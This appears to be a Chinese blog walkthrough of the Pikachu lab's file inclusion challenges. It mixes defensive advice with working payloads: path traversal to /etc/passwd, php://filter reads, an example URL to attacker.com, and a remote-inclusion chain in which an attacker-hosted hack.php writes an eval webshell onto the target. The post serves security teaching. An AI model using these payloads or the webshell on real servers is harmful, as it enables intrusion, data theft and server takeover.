当前位置: 首页 > ai >正文

Pikachu靶场-File Inclusion

文件包含漏洞(File Inclusion Vulnerability)是Web应用程序中的一种常见安全漏洞,通常由于开发者未对用户输入进行严格过滤,导致攻击者能够包含并执行恶意文件。这种漏洞主要分为两种类型:

1. 漏洞类型

  • 本地文件包含(LFI, Local File Inclusion)
    攻击者通过篡改参数,包含服务器本地的敏感文件(如配置文件、日志文件等)。
    示例
    <?php include($_GET['page']); ?>
    若用户提交 
    ?page=../../etc/passwd,可能读取系统文件。
  • 远程文件包含(RFI, Remote File Inclusion)
    攻击者包含远程服务器上的恶意文件(需服务器配置允许,如PHP中allow_url_include=On)。
    示例
    <?php include($_GET['page'] . '.php'); ?>
    若用户提交 
    ?page=http://attacker.com/shell,可能加载远程恶意脚本。

 

2. 漏洞危害

  • 读取敏感文件(如/etc/passwd、数据库配置文件)。
  • 执行任意代码(通过包含恶意文件或日志注入)。
  • 结合文件上传漏洞,实现完全控制服务器。

 

3. 常见利用方式

  • 路径遍历
    使用
    ../绕过目录限制,如?page=../../var/log/apache2/access.log
  • 伪协议利用(PHP):
    通过
    php://filter读取文件内容:
    ?page=php://filter/convert.base64-encode/resource=config.php
  • 日志注入
    向日志文件写入PHP代码后包含日志文件。
  • 远程URL包含
    直接包含攻击者控制的远程脚本。

 

4. 防御措施

  • 输入验证与白名单
    仅允许用户输入预定义的合法值(如
    home.phpabout.php),拒绝动态拼接路径。
    $allowed_pages = ['home', 'about'];
    $page = isset($_GET['page']) ? $_GET['page'] : 'home';
    if (!in_array($page, $allowed_pages)) {
        die('Invalid page!');
    }
    include($page . '.php');
  • 禁用危险配置
    在PHP中关闭远程文件包含:
    allow_url_include = Off
    allow_url_fopen = Off
  • 限制文件访问范围
    使用
    open_basedir限制PHP可访问的目录:
    open_basedir = /var/www/html
  • 避免动态包含
    尽量使用静态文件映射,而非直接包含用户输入。
  • 规范化路径
    使用
    realpath()basename()解析绝对路径,避免路径遍历:
    $page = basename(realpath($_GET['page'] . '.php'));
  • 错误处理
    禁用详细错误信息(如PHP中设置
    display_errors=Off),避免泄露服务器路径。

 

5. 其他注意事项

  • 代码审计
    检查所有文件操作函数(如
    includerequirefile_get_contents)是否使用用户输入。
  • Web服务器配置
    限制目录权限,避免Web用户访问系统关键文件。
  • 框架安全性
    使用现代框架(如Laravel、Django)内置的安全机制,减少手动处理风险。

 

本地文件包含

1,观察网站,提供了一个选择框,运行用户根据名字选择提交查询

观察URL栏分析是通过GET方式对本地一个文件资源进行包含,然后将内容渲染到此页面

2,然后通过模糊测试判断存在哪些文件能够被包含,先使用burpsuite抓一个包

右键发送到Intruder模块,设置file2.php为替换的变量,选择sniper模式

字典选择数字1-50

攻击之后成功得到一些页面

得到账户密码

网站源代码存在本地文件包含(Local File Inclusion, LFI)漏洞

漏洞点分析

if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "include/$filename"; // 直接包含用户控制的变量
}

漏洞原理

  1. 未过滤用户输入:直接使用$_GET['filename']拼接路径,未对用户输入进行任何过滤或白名单校验。
  2. 动态包含文件:通过include语句直接包含用户指定的文件,攻击者可以利用目录遍历(如../../)读取服务器任意文件。

攻击示例

  1. 读取系统文件
    /fi_local.php?filename=../../../../etc/passwd&submit=Submit
    可能泄露系统敏感信息。
  2. 包含本地PHP文件
    /fi_local.php?filename=../../config/db.php&submit=Submit
    可能暴露数据库凭据等敏感配置。
  3. 结合文件上传
    若存在上传功能,上传含PHP代码的图片后包含:
    /fi_local.php?filename=../uploads/evil.jpg&submit=Submit
    可执行任意代码。

安全建议

  1. 白名单验证
    $allowed = ['file1.php','file2.php','file3.php','file4.php','file5.php'];
    if(in_array($filename, $allowed)){
        include "include/$filename";
    }
  2. 路径固定
    $baseDir = 'include/';
    $file = basename($filename);
    // 去除路径
    if(file_exists($baseDir.$file)){
        include $baseDir.$file;
    }

禁用危险函数:在php.ini中设置open_basedir限制文件访问范围。

漏洞总结

漏洞类型

风险等级

利用条件

潜在影响

本地文件包含

高危

攻击者能控制输入

敏感信息泄露、远程代码执行

修复关键:永远不要信任用户输入,对文件包含参数做严格白名单限制。

远程文件包含

1,观察网站,提供了一个选择框,运行用户根据名字选择提交查询

因为是远程文件包含漏洞,所以就要靶场远程包含到攻击者的恶意木马

2,攻击者准备恶意文件,在攻击机(192.168.23.182)上创建包含恶意代码的文本文件(如 hack.php),内容如下:

<?php fputs(fopen('shell.php', 'w'), '<?php @eval($_POST["cmd"]); ?>');?>

此代码会在靶机服务器上生成一个名为 shell.php 的WebShell,允许通过POST参数执行任意命令

3,启动HTTP服务,在攻击机上使用Python快速启动HTTP服务:

python -m http.server

确保靶机可通过 http://192.168.23.182:8000/malicious.txt 访问该文件

4,构造恶意请求触发漏洞,攻击者通过修改靶场URL的 filename 参数,指向远程恶意文件:

http://192.168.23.154/06/vul/fileinclude/fi_remote.php?filename=http://192.168.23.182:8000/hack.php&submit=提交查询

当靶机解析此请求时,会包含并执行远程文件,从而在靶机Web目录生成 shell.php

5,连接WebShell验证攻击,使用蚁剑工具连接生成的WebShell:

URLhttp://192.168.23.154/06/vul/fileinclude/shell.php

http://192.168.23.154/06/vul/fileinclude/fi_remote.php?filename=shell.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

参数解析filename=shell.php 表示尝试包含本地文件 shell.php

漏洞触发逻辑

  1. 靶场代码 fi_remote.php 中存在未过滤的本地文件包含漏洞。
  2. 攻击者已通过之前的RFI攻击在服务器上生成 shell.php
  3. 此时通过包含 shell.php,直接执行其中的恶意代码,激活WebShell。

关键原因解释

步骤

说明

文件生成

前序RFI攻击成功写入 shell.php,其内容含WebShell代码(如 <?php @eval($_POST["cmd"]);?>)。

本地包含

fi_remote.php 未限制本地文件包含路径,允许直接加载 shell.php

代码执行

包含 shell.php 后,WebShell代码被解析执行,开放POST命令执行入口。


通过POST请求发送命令(如 cmd=system('whoami');)可获取服务器权限

漏洞利用条件

  1. PHP配置要求
  • allow_url_include=On:允许通过URL包含远程文件。
  • allow_url_fopen=On:允许打开远程文件(默认关闭)。
  • magic_quotes_gpc=Off:不自动转义特殊字符(PHP 5.3.0以下版本需关闭)。
  1. 代码中的配置检查
    $html1='';
    if(!ini_get('allow_url_include')){
        $html1.="<p style='color: red'>warning:你的allow_url_include没有打开...</p>";
    }
    $html2='';
    if(!ini_get('allow_url_fopen')){
        $html2.="<p style='color: red;'>warning:你的allow_url_fopen没有打开...</p>";
    }

靶场代码会检测PHP配置,若未开启远程文件包含功能会显示警告。

实际攻击需确保靶机PHP配置满足上述条件(一般需要手动开启)。

http://www.xdnf.cn/news/1540.html

相关文章:

  • 雪花算法生成int64,在前端js的精度问题
  • 【产品经理从0到1】原型及Axure介绍
  • Python协程详解:从基础到实战
  • Kafka消息可视化工具Offset Explorer
  • 云原生之认识DDD
  • 新型恶意软件采用独特混淆技术劫持Docker镜像
  • win11什么都不动之后一段时间黑屏桌面无法显示,但鼠标仍可移动,得要熄屏之后才能进入的四种解决方法
  • Kotlin基础知识全面解析(下)
  • java IO流
  • 【Linux内核】内核中的中断管理
  • 中篇:深入剖析 L2CAP 与 ATT 协议模块(约5000字)
  • 程序员鱼皮最新项目-----AI超级智能体教程(一)
  • Bytebase 取得 SOC 2 Type 1 认证
  • Kafka的ISR机制是什么?如何保证数据一致性?
  • 【金仓数据库征文】加速数字化转型:金仓数据库在金融与能源领域强势崛起
  • 【计算机视觉】CV实战项目- 深度解析FaceAI:一款全能的人脸检测与图像处理工具库
  • Cadence 建立复合原理图封装时怎么切换页面
  • 【数据可视化-29】食物营养成分数据可视化分析
  • 深度解析 LangChain、ReAct、ReROO 架构及其在 AI Agent 中的应用
  • Vue3 中 computed的详细用法
  • 金融软件测试有哪些注意事项?专业第三方软件测试服务机构分享
  • 【bug修复】一次诡异的接口数据显示 bug 排查之旅
  • JavaScript学习教程,从入门到精通,XMLHttpRequest 与 Ajax 请求详解(25)
  • Qt C++/Go/Python 面试题(持续更新)
  • Playwright 入门教程:从概念到应用(Java 版)
  • 协作开发攻略:Git全面使用指南 — 结语
  • windows上的RagFlow+ollama知识库本地部署
  • Spring Boot实战(三十六)编写单元测试
  • vuedraggable Sortable.js 实现拖拽排序功能VUE3
  • 4.2 Prompt工程与任务建模:高效提示词设计与任务拆解方法